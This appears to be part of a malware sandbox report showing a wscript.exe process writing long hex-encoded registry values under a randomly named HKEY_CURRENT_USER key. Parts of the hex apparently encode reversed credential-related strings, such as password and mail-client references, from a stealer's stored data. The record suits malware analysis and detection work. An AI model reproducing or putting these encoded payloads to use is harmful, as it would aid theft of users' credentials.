D120006080E0E0E0E04000708000E1D101102010019000000F00400000F000400000000F40000000F04000000100400000400040000020004000000004408A18116040000030FE404A1811604050D150D150D11030029080E0102002508A1811018050D1203000A08080018050D18050D1891811018050D18190A000419080018050D18050D1891811018050D18190A000418190100040908050D180818101E08181909000E0808050D1E081905000909080018050D1E081906000B090819020005090E0E0810190400080A000823057110082401211008240A010100240A000023057111010025057110002401211101002501211000240A0571157111211E0E0106002C057116030E0C8182110006050D150D1E0E020D521512000C0E0E050D1200060000066304017118050D150D150D14000B000000840408050D150D150D1300090001000C600160096004700E6005600460056002700364120E0E0E020D5215150D150D14000E04A181150D1C318212000A050D150D150D150D13002A0D621603050D1D150D1100270E08150D1200260810150D18181300280E0E0E081300260818010024050D150D150D150D150D150D15002E09050D110005010102050D1100250002300130053001600860037C0E08050D120026000E100E10100E1201001A08050D11002508050D150D19621104002A09621603050D150D150D150D13000A050D150D150D1E030009050D150D1E0E0300080E0E0E020025050D100824047182110D421510082908000823007181100825050D11010025050D100024047182110D42151101002A047182110D4215100029080101002400718111010026007181100025047182110D4215160800000000340071811604050D1471821100270561150D150D1200080561150D1E0200070A3A05D11F7F5F30B80A06020B020100240E020100240B010100240A0201002408080100240E080E02002508080E0200250E0D1000240800002308080A02002508080B0200250E050D1100250061811D16050C51811D16050E0D16030706020E0E02016115110D421510082C050D150D110026020808050D150D1400290E0E0100240E0E02016115110D42151101002D0E0E02016115110D421510002C0E0E02016115110D4215160B0E0D110100250E0E020D52151E020D52151B09521E0C1200260E000E11010036000E1E01010036020E0E01030026044182110D421516080E0E0E0E010400270C3182110D42151008290072110D42151008280072110100250C3182110D42151101002A0072110D4215110100290072110D42151000280C3182110D421516080072110D421516070E0E0D1C3182110D421512000C0E0E0D110005050D150D150D150D150D150D15000E050D150D150D150D150D14000C0E0E010D42151100080E050D1100050003700E60096007600F600C6C0E0E0E0C3182110D421513000C0800150D1800180E0421821806000E0421821018080E081805000B00037004700E6005700F600360036001401E0C3182110D421511000A0152150D110006080E0E0200050E080E020005050D1E010005050D150D110006050D16030E050D1E0200060E010D42151000070E0E0E0E0300060E010D4215180100080E0D1000040E0E0E0200050C31821000250808050D1E050D140009050D150D1E020007050D150D150D12000804A1811C3182110D421511002C0E0E001E0200260E001E0E02030027050D1E0100250E0C3182110D421511002A0E010100240E0008230C3182110D42151000290C3182110D42151000090C19321462153213002909411011010026086211010025081818081A04000708181202000508181100040862160302000823046211010025090E0100240E00002301421C110200260201010024020000230C16020D3216030462160304421603000000008400000000240000000014091602085116030532180100250C1932181818053215002A0532110100250C193211311532130029013111010025081C110200250E0811000408120100040818180818040007080810521808140008081818080300260C4211010025084211010025005216030C42160308421603000001050400000104040000010104000001000409000003080201000400411012010006004116030906020B06020121160308160200000720140000000464042116030000000D040000000C040000000B040000000A0400000009040000000804000000070400000006040000000504000000040400000003040000000204000000010400000000040FFFFFFFF4002116030806010004081C11000408101808181818112110181808000E081018001808180400090810180018080300080810190121101803000906110A0E0E08030006080E08080300060201080D12190019001900180D121E020800001E020100040E080D121E0E0E0806000A05110819080D12150D19090807000C080811000408001818020006080D121818190400080801080A22090019090D1812040009050D120100050818010004080D121818030007081000030806020C1116030206020E06020E0E0100040E0000030E01010004091211010005006216030C521603051111121D021C1204000A0100002301000003090216030980E439165C5A77B8000F4A14EBB3A441A3BB4FFF125F848CC3C000000E200E600F600960047001600D6002700F6006600E600960002005600C6004600E600160086000200D600560047003700970037000200560067005600960027004700560027000200F6004700020046005600C6009600160064B50000C5002700F60047003600560027009600460056002500E6001600D600E6001600C400C500560036009600670056004400C53300009200D70085000300B7008700030082000200D7000300B7000200A3005600A7009600350056002700F600470035F200009200D7000300B7008200020083000200E6001600860047000200370037005600C600020037009600020056002700F6004700350097004700270056000700F6002700050046005600A7009600C60016009600270056003500020056008600470002006600F60002005600A700960035170000D7008500A3000300B700870003000200A3004400947100009200D7000300B7008200020093000200E6001600860047000200370037005600C60002003700960002005600D6001600E4007600E6009600270047003500020056008600470002006600F60002005600A7009600357500009200D7001300B70082000200D7000300B7000200F60047000200C600160057001700560002004700F600E60002003700960002005600A700960035005600D6001600E400020056008600470002006600F60002005600A700960035D500009200D7001300B70082000200D7000300B7000200F60047000200C600160057001700560002004700F600E60002003700960002005600D6001600E4007600E6009600270047003500020056008600470002006600F60002005600A7009600351600009200D7008500A3000300B7008700030082000200D7000300B7000200A3005600A7009600350056005700C600160065130000D7000300B7000200A3005600D6001600E43100009200D7008500A3000300B7008700030082000200D7000300B7000200A3005600A700960035005600D6001600E4F20000D7000300B7000200A30056000700970045310000D7000300B7000200A30056005700C6001600655100009200D7001300B70082000200D7000300B7000200E6001600860047000200370037005600C600020037009600020056002700F6004700350097004700270056000700F6002700050046005600A7009600C60016009600270056003500020056008600470002006600F60002005600A700960035571000D700540014009300640034002300240023000300030083000300D2007300930033009300D2002400130003001300D2003400930054002300D20053000300530044004400340053004400B7D400009200D7001300B70082000200D7000300B7000200F60047000200C600160057001700560002004700F600E6000200370096000200E600F6009600370027005600653400009200D7000300B70082000200830023000200E6001600860047000200370037005600C60002003700960002005600760016002700F6004700350097004700270056000700F6002700050046005600A7009600C60016009600270056003500020056008600470002006600F60002005600A7009600357700009200D7008500A3000300B7008700030082000200D7000300B7000200A3005600A700960035005600760016002700F600470035530000D7008500A3000300B700870003000200A300E600F600960037002700560065120000D7000300B7000200A3004400940047001600D6002700F60064B10000A300D7000300B7900000C600D60047008600F20047008700560047310000C600D60047008600E2B00000230087501000430023003300830026008300330026001600730036005300D2003300360036002600D2002600830056004300D2004300260023005300D200560023001300360003003300930026940000270056002600D6005700E400C600160096002700560035910000460027001600F60024005600370016002400F50023003300E600960075F11000360036004300030083004300660066009300260083006300D2001300430063008300D2005600360046004300D2002600230026005300D200460043005300230016005300630056940000370037005600270046004600140036001600D451000046005600C60026001600E6005400050094310000E600F60096004700160027005700760096006600E600F60034002700560047000700160046001400B6002700F600770047005600E400F50023003300E600960075341000160066003600330046002300830023000300660023002300D2009300730003008300D2007300330016004300D2002300730053008300D200560063008300130053007300660043940000440094002700F6003700370056003600F6002700077100002700F6003700370056003600F60027000700F50023003300E600960077F100005600E600F600E4900000B400F450000045005400747000000700D6004700E29000007400C55000002400D400027000005600D6001600E49000002700F6003700370056003600F60027000500F50023003300E600960075000200D400F400250064000200A2000200450034005400C400540035B3000085300000270056009600660096004700E600560046009400E2005600E600F600A500A312000027005600460096006700F60027000500020056006700960047009600D600960027000500020047006600F6003700F600270036009600D493000035005400147000002600F600C6002400160047001600440097005600B471000056004600F600D4007600E6009600E60096001600860034910000860047007600E6005600C40076001600450086004700570014B10000D4003400740056004600F600D4007600E6009600E60096001600860034F10000860047007600E6005600C400470036005600A6002600F49100002300130053001600860037D00000D700D700D7000300B700B700B7F000005600D600F6002700860036D000002600F600C60026900000970036009600C600F60007D000007600460027700000C600160096004700E60056004600560027003400020037007700F6004600E600960075520000D7300000020025005400740054004500E400940090310000D70023008500A3000300B7D000000200250054009400640094004500E400540044009400450034005400A4002400F40090520000B700020054003400E40054005500150054003551000002007400E40094002500450035004500540045003400F40090B100005400550015009400E40055D0000092300000823000005600C6002600160047B000003300020047001600D6002700F60066000200560047009600C400150035F1000047001600D6002700F600660002005600370016002600160047001600460002007700F600E600B600E60055D2100092002700560046002700F600D2005600470097002600020056006700960047001600E6000200C20023000200E600F600960037002700560067000200C20086003700160084008200020053008300E20013000255000023000300030003000300030003000311000024004400020047005600C6005600B6002700560024710000130063005300130063000300030003110000B3300000160047001600440002002700560037005500C5002700560037007700F600270024004700E600560034B200002700560037007700F600270024004700E600560034710000160047001600440002002700560037005500C50027001600470035007300C500270016004700350073B20000270016004700350073B00000160047001600440002002700560037005500C500E600F6007700F600F6003400C500E600F6007700F600F60034F20000E600F6007700F600F60034D00000160047001600440002002700560037005500C500D60057009600460096002700943200002700560037007700F600270024000200D6005700960046009600270094F10000160047001600440002002700560037005500C500F60096002700470096003400C50007005700F600270074001600E6009600C60016004700160034D30000F600960027004700960034D00000160047001600440002002700560037005500C5002700560037007700F60027002400020037004700E6005600D6005600C600545300002700560037007700F60027002400020037004700E6005600D6005600C60054121000160047001600440002002700560037005500C5002700560037007700F60027002400D20056006700160027002400C500560027001600770047006600F6003500560067001600270024B40000560067001600270024B00000160047001600440002002700560037005500C500D60057004700960026002700F4320000D60057004700960026002700F4F00000C5008700F600260047003700F6000500C53100008700F600260047003700F60005F00000160047001600440002002700560037005500C50096004600C6001600670096006532000096004600C60016006700960065F00000270056007700560096006500D60057009600D600F600270086003400C50037005600C60057004600F600D600C5007600E60096004700470056003700C500530027009600E600070096005600C6003500C5003600E60094000200270096002700E6005600647600006300020027009600E600070096005600C60035510000C5004600270096002600270056004600E600570086004500C5B100004600270096002600270056004600E6005700860045711000C500E600F6005600C6005600D400D200B400C5511000E600F6005600C6005600D400D200B4110000160047001600440002002700560037005500C5004700F600460056008600341200004700F60046005600860034D00000B6003600F600C60064B00000C500B600770016008400B60036001600C6002400C5003700560096007600F600C600F600E60086003600560045000200540045001400740045005400E400C5140000B600770016008400B60036001600C60024310000160047001600440002002700560037005500C500F60076009600D60014F10000F60076009600D60014B00000160047001600440002002700560037005500C500160047005600D600F600B4120000160047005600D600F600B4D00000C5008700F600660027005600260097003400C5003700F6009600460057004700370087003600560007008300C5F200008700F6006400270056002600970034110000C500E600F6007600160027004400560036009400C500F6004600F600D600F6003400C5520000E600F60076001600270044005600360094310000C500E600F600F600D40002005600C60016000500C5003700E600F60096004700360057004600F6002700050002004600C600960086003600E600F600F600D400C5340000E600F600F600D4005600C600160005110000160047001600440002002700560037005500C500E600F6007600160027004400C500F6004600F600D600F60034F20000E600F60076001600270044000200F6004600F600D600F60034B100005600C600260016004700350002001600270056000700F400C500560027001600770047006600F600350002001600270056000700F47300002700560037007700F6002700240002001600270056000700F4B10000160047001600440002002700560037005500C5002700560037007700F60027002400870056004600E60016009500C500870056004600E600160095D300002700560037007700F600270024000200870056004600E600160095D10000160047001600440002002700560037005500C5002700560037007700F60027002400C5003600F60034003600F600341300003600F60036003600F60034D00000160047001600440002002700560037005500C500D60057009600D600F6002700860034520000D60057009600D600F6002700860034110000C500470016003600560036009600C5001600C600C6009600A700F600D400C51200004700160034005600360094D00000160047001600440002002700560037005500C500860036002700F60045F100002700560037007700F600270024000200860036002700F60045B10000160047001600440002002700560037005500C5005600D600F600270086003400C5005600C6007600F600F60074F200005600D600F6002700860034D00000C50097005600B600E600F600D400160056003500C5001600C600C6009600A700F600D400C572000097005600B600E600F600D4001600560035310000C5008700F60066005600270096006400C5001600C600C6009600A700F600D400C53200008700F600660056002700960064F00000160047001600440002002700560037005500C5002700560037007700F6002700240002009700360016006700960027000500020036009600070054D300009700360016006700960027000500020036009600070054910000160047001600440002002700560037005500C5005600760046005400C50047006600F6003700F600270036009600D4130000D60057009600D600F600270086003400020056007600460054B10000C5008700F600660027005600470016007500C55100008700F6006400270056004700160075110000160047001600440002002700560037005500C50037005700C60005005600D600F600270086003400C500F600960046005700470035005600C60007001600D4140000F6006700F600E4000200C600F600F60034310000160047001600440002002700560037005500C500F6001600260056009600C61200002700560037007700F600270024000200F6001600260056009600C4D10000160047001600440002002700560037005500C500660027005700350002000500940015520000660027005700350002000500940015110000160047001600440002002700560037005500C500E600160027005500C5001600960046005600D400A700F600340057130000E6001600270055900000160047001600440002002700560037005500C5005600D600F600270086003400C5005600D600F60027008600340003006300335300002700560037007700F6002700240002000300630033710000160047001600440002002700560037005500C500B6009600E6004700570007003500C500B6009600E60047005700070035330000B6009600E60047005700070035F00000C23000000200A300E600F60096004700160036009600C600070007001400E30027002600C3320000E30027008600C300E30027002600C31100000200A30046002700F60077003700370016000500E30027002600C3D100000200A3005600D6001600E6002700560037005500E30027002600C3D100000200A300E600F60096004700160036009600C600070007001400A000D0F100000200A30046002700F60077003700370016000500A000D09100000200A3005600D6001600E6002700560037005500A000D09100000200A30047003700F60084D0000046002700F600770037003700160005004600560047000700970027003600E600563200005600D6001600E60027005600370055004600560047000700970027003600E600563200005600D6001600E60047003700F600861100003700E60096007600F600C600F500A700F600D6510000560047009600C60017003700E2003700E600F600E6007600960037D100008600470057001600F6B0000022009200F300A200E20082002200A300220092005600D6001600E60027005600370055004600560047000700970027003600E6005600C70046002700F600770037003700160005004600560047000700970027003600E6005600C7005600D6001600E60047003700F600860082002200C5370000E600F6003700A600E2003700E60096007600F600C6711000D50064007300030003005700C500D20003002300030003005700C500E500B51210009200B200D500D200C500E200C500F200C5009300D2000300A700D2001400B5008200D30086004700160005D21000B6003600560086003600D20046002700F600770037003700160007D10000E600F600960037002700560065F010004700C60016003700D200C60016002600F600C6007671000026004600E200330097005600B6F0000033000300130003005300030036000300130003004600030073006600630083008300430063008300160023D2000093000300230003004600030073006600630083008300430063008300160023120000230003001300169000001300130016700000560047001600670096002700050037003700E65100002300D6005600470096B000001300D6005600470096B000004600965000001600470016004400160047005600D611000026004600E200430097005600B6F0000016004700160044000200E60096007600F600C400C5004700C60057001600660056004400C572000016004700160044000200E60096007600F600C400C5710000560047001600470035000200C60016003600F600C400C591000022009200F300A200E20082002200A300220097005600B600F5004600560047000700970027003600E600560022F200005600C600260016004700350002001600270056000700F49100001300130067700000030013006770000056005700C60016006700F5005600D6001600E60027005600370057D10000C60027005700F500E6009600760096002700F6510000970027001600E6001600360046002700F60036003700960046B1000026004600C600560067005600C600C5005600760016002700F600470035000200C60016003600F600C4B2000026004700070046002700F600360037009600465100007600F600C600E200A2B0000026004600C600E200A2B01000D70043008300B700D500D2007700C500B500E200C50016006600D6D11000D70073002300B700D500D2007700C500B500E200C500D7006300B700D500D2007700C500B500E200C500D70043002300B700D500D2007700C500B5D30000E6005600B600F6004500020046002700F60036003700960044B10000D600F6003600E20046002700F6003600370096004671000046002700F60036003700960044F0000046002700F600770037003700160005003600E60054710000C500370046002700F60077003700370016000500C5002700560076001600E6001600D40046001600F600C600E6007700F6004400C500560027001600770047006600F600357400002700560076001600E6001600D40002002700560046001600F600C600E6007700F6004400020047005600E600270056004700E60094730000470016004600E2001600470016004600F5002700560037005700F50086003600E60056002600B6002700F6007700C50086003600E60056002600B6002700F6007500C500C400150035009700D400C515000086003600E60056002600B6002700F6007500C600170037009700D4D10000D6009600E200E60016009600C600C6009600270047710000470016004600E20037004700E6005700F600360036001600C500C60016002600F600C6007600C50037002700560037005700C500E60016009600C600C600960027004500C5740000E60016009600C600C6009600270045110000E30046002700F60077003700370016000700F200C3710000E30046002700F60077003700370016000700C3510000E3005600D6001600E600F200C3F00000E3005600D6001600E600C3D00000E300C600F6003600F6004700F60027000700F200C3710000E300C600F6003600F6004700F60027000700C3510000E3004700E6005700F600360036001600C3310000C600D6008700E20037004700E6005700F600360036001600C5005600C6000700270057000700E200C5B20000E600960076004600960005D00000D600F6003600E200B600C60016004700C6001600077100005600D6001600E600B60036009600E6110000C50037004600560027003600C50037002700560037005700C50056002700F6003600C50037007600E60096004700470056003700F500E600F600D600D600F6003600C5007400E4000200B600C60016004700C60016000500C500E200D400E2006500E2001400C500560027001600770047006600F60035970000B600C60016004700C600160005F00000F200F200A37000003700A6005600E200470037009600C600E20037007600E6009600470047005600350027005600C600C600F60027004700E600F6003400E600F600960047001600360096004700E60056008600470057001400E200E600F600960047001600360096004700E60056008600470057001600E2007600E6009600C600C600F60027004700E600F6003600E2004600A6F80800003700A6005600E20037004700E6005700F600360036001600E20037007600E600960047004700560035004700E6005700F600360036001400E20037007600E60096004700470056003700E20027005600
(PID) Process:(6308) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\UfFiqQIFyjJeqsw\donn
Operation:writeName:d2
Value:
46001600F600C600E6007700F6004600A600E20076002700F6B60000760066003600C5000300E200230002002700560046001600F600C600E6007700F6004400A47200000300E200230002002700560046001600F600C600E6007700F6004400A4F10000D33000009600E6009600E2003600E6006700160027004700C6005700C5003400E4006500160027004700C6005500C5D2000037005600C60096006400D600160027007600F60027000591000023004600770037003700160007F000004600770037003700160007D000009600E6009600E2003600E6006700160027004700C6005700C5003400E4006500160027004700C6005500C500160026006700260002003600E60067005700C51400003400E4006500160027004700C6005511000043003400E4006500E60096007500C5003400E4006500C600160056002500C500540025001400750045006400F400351300009700C600E600F400770056009600650046002700F60077003700370016000512000043003400E4006500E60096007500C5003400E4006500C600160056002500C50056004600F600E40023003300430063007700F6007500C500540025001400750045006400F400359400008700E200430002003400E4006500C600160056002571000033003400E4006500E60096007500C500C4002500F400C500560027001600770047006600F6003592000046002700F60077003700370016000500C600F60027004700E600F60034F1000046002700F60077003700370016000500C600F60027004700E600F600340002003400E4006500470086007600960045130000270056006700270056003500C5003400E400650027005600760096004500C500560027001600770047006600F600351300003400E4006500270056007600960045110000270056006700270056003500C5003400E400650047008600760096004500C500560027001600770047006600F600351300003400E40065004700860076009600451100002700560067002700560037003600E6006700C5003400E4006500C600160056002500C500540025001400750045006400F400355300008700E200330002003400E4006500C600160056002571000046002700F600770037003700160005004600560047000700970027003600E600543200005600D6001600E6002700560037005511000047003700F6008400F500270056006700270056003571000026004600E20056002700F60047003500C50056002700F60047003500C5004600270096002600C60096001600D400C5130000370056009600470096004700E600560046009400270056004600E6005600351200004600270096002600C60096001600D4110000530036007300D4002600B6002300430063006300030083006300F6D10000470016004600E20037004700E6005700F600360036001600C5004700E60056009600C60034000200D40056D200002200A30022005600D6001600E40027005600460096006700F6002700050022121000440024005300530013001400130023001300830054004300D2009300830043001400D2007300640034004300D2004400640043006400D2007300430034005300030093002300739400002200A300220047005600270036005600350022510000C200225000002200A30022005600D6001600E60027005600370055002291000037004700E6005700F60036003600141100004700E60056009600C60034000200D4005631000005004500D40035900000370037001600050005004500D4003511000037003700160005000500F40005F000009600E6009600E20037004700E6005700F600360036001600C500C60096001600D600F6003600F6000500C5D20000C60096001600D400F6003600F60005111000D300B200F300F200E300C300C200A300B3007200C700C500D700D500B700B50092008200A2006200E50052004200320004001200E700E200D200F5000300930083007300630053004300330023001300A7009700870077006700CF0057004710F50037002700170007006F00F600E600D600C600B600A600961013008610F10076006600560046007E00360026001619080000A3001600270056000700F6D00000470016004600E2004600E60016007700C500C60096001600D40002001600270056000700F400C500C60096001600D40002001600270056000700F400C5F30000C60096001600D40002001600270056000700F451000013007350000014005350000046002700F6007700370037001600050033000500F400059100002700560067002700560035007600E6009600D600F6003600E60094D1000047003700F600840005004500D4003511000047003700F600840033000500F40005110000760047003700E2004700E6005700F600360036001400C59100000300360056002700E2004700E6005700F600360036001400C50037004700E6005700F600360036001400C5D20000C60096001600D600C500C60096001600D6008700F6006400C50092006300830087008200020037005600C600960064000200D600160027007600F60027000500C50056002700F60047003500C600160057004700270096006500C5D50000C60096001600D600C500C60096001600D6008700F6006400C50037005600C600960064000200D600160027007600F60027000500C50056002700F60047003500C600160057004700270096006500C5150000C60096001600D600C5B00000C5005600760016002700F60047003500C53100008600470016000500C60096001600D6008700F600647100001300E20033006500C500C60096001600D6008700F6006400C5008700F6006600F600270056001400C500560027001600770047006600F6003500C5002500540035005500F5004500E40054002500250055003400F50095005400B40084F500005600C6002600160047005700360056008700545100007700560096006700560027000500C60096001600D6008700F6006400C5008700F6006600F600270056001400C500560027001600770047006600F6003500C5002500540035005500F5004500E40054002500250055003400F50095005400B40084360000C60096001600D4008700F60064F00000970036009600C600F60005003700E600F6009600470007005600360087005400560047001600470035004600560047000700570027002700F600340097003600160076005600C600F50037005700C6000500D400F400349500007600E6009600F600760047005700F600C60096001600D691000046002700F600770037003700160007003600E600970037910000370027005600E6004700270016000500C5003600E60097003500560067009600470036001400C50047006600F6003700F600270036009600D400C500560027001600770047006600F60035D400000700070014000200C60096001600D400020037007700F6004600E60096007512000027005600670027005600350002F000000030000046002700F60077003700370016000500020005004500D40035B1000046002700F60077003700370016000500020005004500450084B1000046002700F60077003700370016000500020033000500F40005B1000046002700F60077003700370016000500020005001400D40094B10000C60096001600D60054B0000037005600C60096006600F60027000500C500B600F600F600C60047005700F400C5000300E20063001300C50056003600960066006600F400C50047006600F6003700F600270036009600D400C500560027001600770047006600F60035F5000063007300630063001400230024004300030013000300030014008300830024003300460013001300130033001300430003006400640034005300730033009300C50037005600C60096006600F60027000500C500D6005600470037009700370026005700350002007600E600960076001600370037005600D400020037007700F6004600E60096007500C50047006600F6003700F600270036009600D400C500560027001600770047006600F600351B08000037005600C60096006600F60027000500C500D6005600470037009700370026005700350002007600E600960076001600370037005600D400020037007700F6004600E60096007500C500E600F600960037002700560065004700E60056002700270057003400C5004500E400020037007700F6004600E60096007500C50047006600F6003700F600270036009600D400C500560027001600770047006600F600353A08000037005600C60096006600F60027000500C500B600F600F600C60047005700F400C5000300E20053001300C50056003600960066006600F400C50047006600F6003700F600270036009600D400C500560027001600770047006600F60035F5000037005600C60096006600F60027000500C500B600F600F600C60047005700F400C5000300E20043001300C50056003600960066006600F400C50047006600F6003700F600270036009600D400C500560027001600770047006600F60035F5000037005600C60096006600F60027000500C500B600F600F600C60047005700F400C5000300E20023001300C50056003600960066006600F400C50047006600F6003700F600270036009600D400C500560027001600770047006600F60035F5000037005600C60096006600F60027000500C500B600F600F600C60047005700F400C5000300E20013001300C50056003600960066006600F400C50047006600F6003700F600270036009600D400C500560027001600770047006600F60035F50000630073006300630014002300240043000300130003000300140083008300240033004600130013001300330013004300030064006400340053007300330093140000B600F600F600C60047005700F4F000003700370056002700460046001400C60096001600D471000027005600670027005600350005004500D400355100004600750037003700160005D000004700E6005700F6003600360014F000009600E6009600E2008700F6002600C60096001600D400C591000047003700C600E200270056004600C600F6006451000027009600440016004700160044F0000037007600E60096004700470056003500C50023002400C5003700470027001400D60096002500C500560027001600770047006600F6003500C5002500540035005500F5004500E40054002500250055003400F50095005400B40084D5000012009700B6003600560024D01000A7009700870077006700570047003700270017000700F600E600D600C600B600A600960086007600660056004600360026001600A5009500850075006500550045003500250015000500F400E400D400C400B400A4009400840074006400540044003400240014009300830073006300530043003300230013000300D200B218081000D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D300D200D3F9080000A700A700A7700000E40064003400E2004700E6005700F600360036001400C591000012004700160024000200560086004500C5310000120047001600240002005600860045110000E30046002700F60077003700370016000700F5002700560037005700F500270056006700270056003700F200C3F20000E30046002700F60077003700370016000700F5002700560037005700F500270056006700270056003700C3D20000E3005600D6001600E600F5002700560037005700F500270056006700270056003700F200C3720000E3005600D6001600E600F5002700560037005700F500270056006700270056003700C3520000E30047002700F6000700F500270056006700270056003700F200C3D10000E30047002700F6000700F500270056006700270056003700C3B10000E30007009600F500270056006700270056003700F200C3910000E30007009600F500270056006700270056003700C3710000C600D6008700E2003700270056006700270056003700C500270056004700470056007400050045006400C5D20000E300270056006700270056003700C31100002700560047004700560074000500450064310000470087004700E200470037009600C600070047006400C500270056004600E6001600D600D600F60034000200050045006400C50092006300830087008200020037005600C600960064000200D600160027007600F60027000500C50056002700F60047003500C600160057004700270096006500C5770000D30037005700F600D6009700E600F600E6001400B3710000D3002700560037005500B3D00000D30046002700F60077003700370016000500B3510000470087004700E200470037009600C600070047006400C500560087005700C600560044000200270056004600E6001600D600D600F60034000200050045006400C50092006300830087008200020037005600C600960064000200D600160027007600F60027000500C5B60000D30047002700F6000500B3D00000D300270056006700270056003500B3110000470087004700E200470037009600C600070047006400C500270056004600E6001600D600D600F60034000200050045006400C50092006300830087008200020037005600C600960064000200D600160027007600F60027000500C5D50000470087004700E200470037009600C600070047006400C5000700470066003600C5320000470087004700E200470037009600C600070047006400C500560087005700C600560044000200270056004600E6001600D600D600F60034000200050045006400C50092006300830087008200020037005600C600960064000200D600160027007600F60027000500C50056002700F60047003500C600160057004700270096006500C558080000270056004600E6001600D600D600F60034000700470064910000D30044007500059000004400750005700000440094005570000045003500F400849000009600E6009600E200070047006600F50037007700C50037005600470096003500C500050045006400F50035007500C500860036004700960077003700070094140000050045006400F500350075D00000470036005600E600E600F60034000200B6003600960057001500C50037005600470096002700F600670016006400C5000300E200230002004700E60056009600C6003400C500050045006400470027001600D60035750000050045006400470027001600D600351100002700560067002700560035D0000046002700F600770037003700160005000200F600E4710000470087004700E200470037009600C600070047006400C5002700F600470016007600960067001600E4000200050045006400C553000056006700960027004400D6005600470037009700357100002700F600470016007600960067001600E40002000500450064B10000330067004400C6005500530086007300530076002500740086007600670027006600860054004600830043001400A70063003300140097930000470016004600E200370056004700960035310000470016004600E200B60036009600570017310000C500050085006400860037001600C6006400C5510000370037001600079000002700560037005790000047002700F600079000000500945000000500850064000200860037001600C600643100006400540044003400240014D00000530013500000643000004300135000005430000033001350000044300000230013500000343000001300135000002430000003001350000014300000D5002200D7000300B70022000200A300E400F4009400450014003400F400C400020095005400B40002005400450014006500940025000500B5B30000230023500000270056002600D6005700E40047002700F600055100005600C6009600640097005600B40036009600C6002600570005B100005600D6001600E400270056003700551100005600D6001600E40047003700F600841100003700E600F60096003700370056003500C50023000200050034003500E60096007500C500C60097002700B6009600270005000200E6009600470027001600D400C500540025001400750045006400F40035350000050034003500E600960075D00000B60086002700F600D6009600A70007006700370097000700A700660046008612000047002700F6000590000047003700F600849000002700560037005590000037005600470096003500C50005004500640054002500F4003400C5005600270016007500050045006400C500540025001400750045006400F40035D3000005004500640056002700F60034F00000E3003700370016000500C3D00000E3003700370016000500F200C3F00000E30022004300630056003700160026002200D3007600E60096004600F6003600E600560002003700370016000500C3130000E3002700560037005500F200C3F00000E3002700560037005500C3D00000E30047002700F6000500F200C3F00000E30047002700F6000500C3D00000A3300000E30047003700F6008400F200C3F00000E30047003700F6008400C3D00000E300270056006700270056003500C3110000C600D6008700E20037002700560067002700560037004700E6005600360056002700C5001600C600C6009600A5005600C60096006400C59300001600C600C6009600A5005600C6009600643100001600470016004600C500370037005600360036001400020047005600E600270056004700E6009400020056004700160067009600270005930000520023003300430063007500D600160027007600F6002700050052D10000D600F6003600E20037003700560036003600160047005600E600270056004700E60096005600470016006700960027000733000022009200F300A200E20082002200A300220046002700F600770037003700160007002200A200E292000022009200F300A200E20082002200A30022005600D6001600E60027005600370057002200A200E2920000E600F6003700A600E2004700E6005700F600360036001600C5B100001600470016004600C500370037005600360036001400020047005600E600270056004700E600940002005600470016006700960027000500C5B300009200630083008700820037005600C60096006400D600160027007600F600270005320000370037005600360036001400020047005600E600270056004700E6009400020056004700160067009600270005F2100056005700C60016006700F200D500720046002700F600770037003700160005007200D3005600D6001600E6000400B5007600E60096004700470056003700F200F234100056005700C60016006700F200D50072005600D6001600E60027005600370055007200D3005600D6001600E6000400B5007600E60096004700470056003700F200F2340000760096006600E600F6003600E20027005600370057710000A200560087005600E200E6000700650046002700F600E4910000E4000500650046002700F600E4F00000C500760096006600E600F6003600C500E40005006500E60056000700F400C51200005400C40094006400F4002500050025005400350055710000020056004700F600D600560027F0000097000700F60027004700E60056F010001600470016004600D20086004700570016311000C5003700760096006600E600F6003600C500940055007400D200E40005006500E60056000700F400C500560027001600770047006600F60035B310003700760096006600E600F6003600C500940055007400D200E40005006500E60056000700F400C500560027001600770047006600F60035930000E40005006500E60056000700F4F0000037005600C60096006600F60027000700C500B200960037000500C5D1000037005600C60096006600F60027000700C500960037000500C5B10000C600D6008700E20037004700E6005700F600360036001600C5B1000046009600A67000005600D6001600E6900000B200960037000500F200960037000511000046002700F6007700370037001600071100005600D6001600E60027005600370057110000E2004700E6005700F600360036001611000037004700E6005700F6003600360016110000C60016002600F600C60076D00000760066003600E200E600F600D600560016004600C5002700560047001600460007005500C500E600970044D200008600340086008500A700B400630047110000F200D600F6003600E200E60097004600E2004700E6005700F600360036001600F200F200A300370007004700470086130000D30046002700F600770037003700160007310000D3005600D6001600E600270056003700573100003700E6004600E60097004600E200760096006600E600F6003600C5002700560047001600460007005500C500E6009700443300005400C40094006400F4002500050035002500540035005500C400C40014F100003700E6004400E600970044D00000E2301000D200D200D2700000470087004700E20033003700E600F600E6007600960037910000C5002700560037007700F60027002400C500B6003600F600C6006400C5F1000014004500140044000500050014F000002700560037007700F600270024000200B6003600F600C60064B100009200A200E2008200D7009200A200E2008200C2009200A200E2008200B7F100003600270056002700F6004700370046002700F60077003700370016000700C5120000D5300000B53000004700E6005700F6003600360016F0000037003700560027004600460016F00000270056006700270056003700F50007004700D60037710000360027004700E6005700F600360036001600C55100009200B200E2008200D30037004600E6005700F6002700F500230066004600B60026000700F5005600370016002700860007003700370016000700F50027005600470037001600D69400009200B200E2008200D3004700C60016003700F5005600370016002700860007003700370016000700F50027005600470037001600D6730000030097005600B6003700370016000711000036002700370077001600C6003600C5111000C60096001600D600D200370077001600C6003400C5710000C60096001600D400370077001600C60034310000C600C60096006600F600470057001611000026004600E2001600470016004600560037007700F60027002600C5D110009200B200D5002200C500E200C500F200C5009300D2000300A700D2001400B5008200D3005600C60096006600F60027000500470027001600470037D30000C50037005600C60096006600F60027000700C500E600F600B600C60016006600C53200009600E6009600E20037005600C60096006600F6002700079100002700560037007700F600270024000200E600F600B600C600160064D11000D23000003700370056002700460046001400E600270057004700560025B10000470087005600450046002700F600770037003700160005005600670016003512000037007600E6009600470047005600351100004700E600560027002700570036F00000C5005600E6009600C4004600E6001600D600D600F6003400C50016002700F600460057005400C500D600D600F6003600C600160057001500C500560027001600770047006600F60035B4000016002700F6004600570054D000003700370056002700460046001400C60096001600D6005491000027005600670027005600350007004700D6003551000077005600E400F50037004700E6005700F600360036001400C5B10000C500370056009600470096004700E600560046009400C500C60096001600D40096004600560027003600E6009400C500560027001600770047006600F6003514000046002700F6007700370037001600050007004700D6003591000046002700F6007700370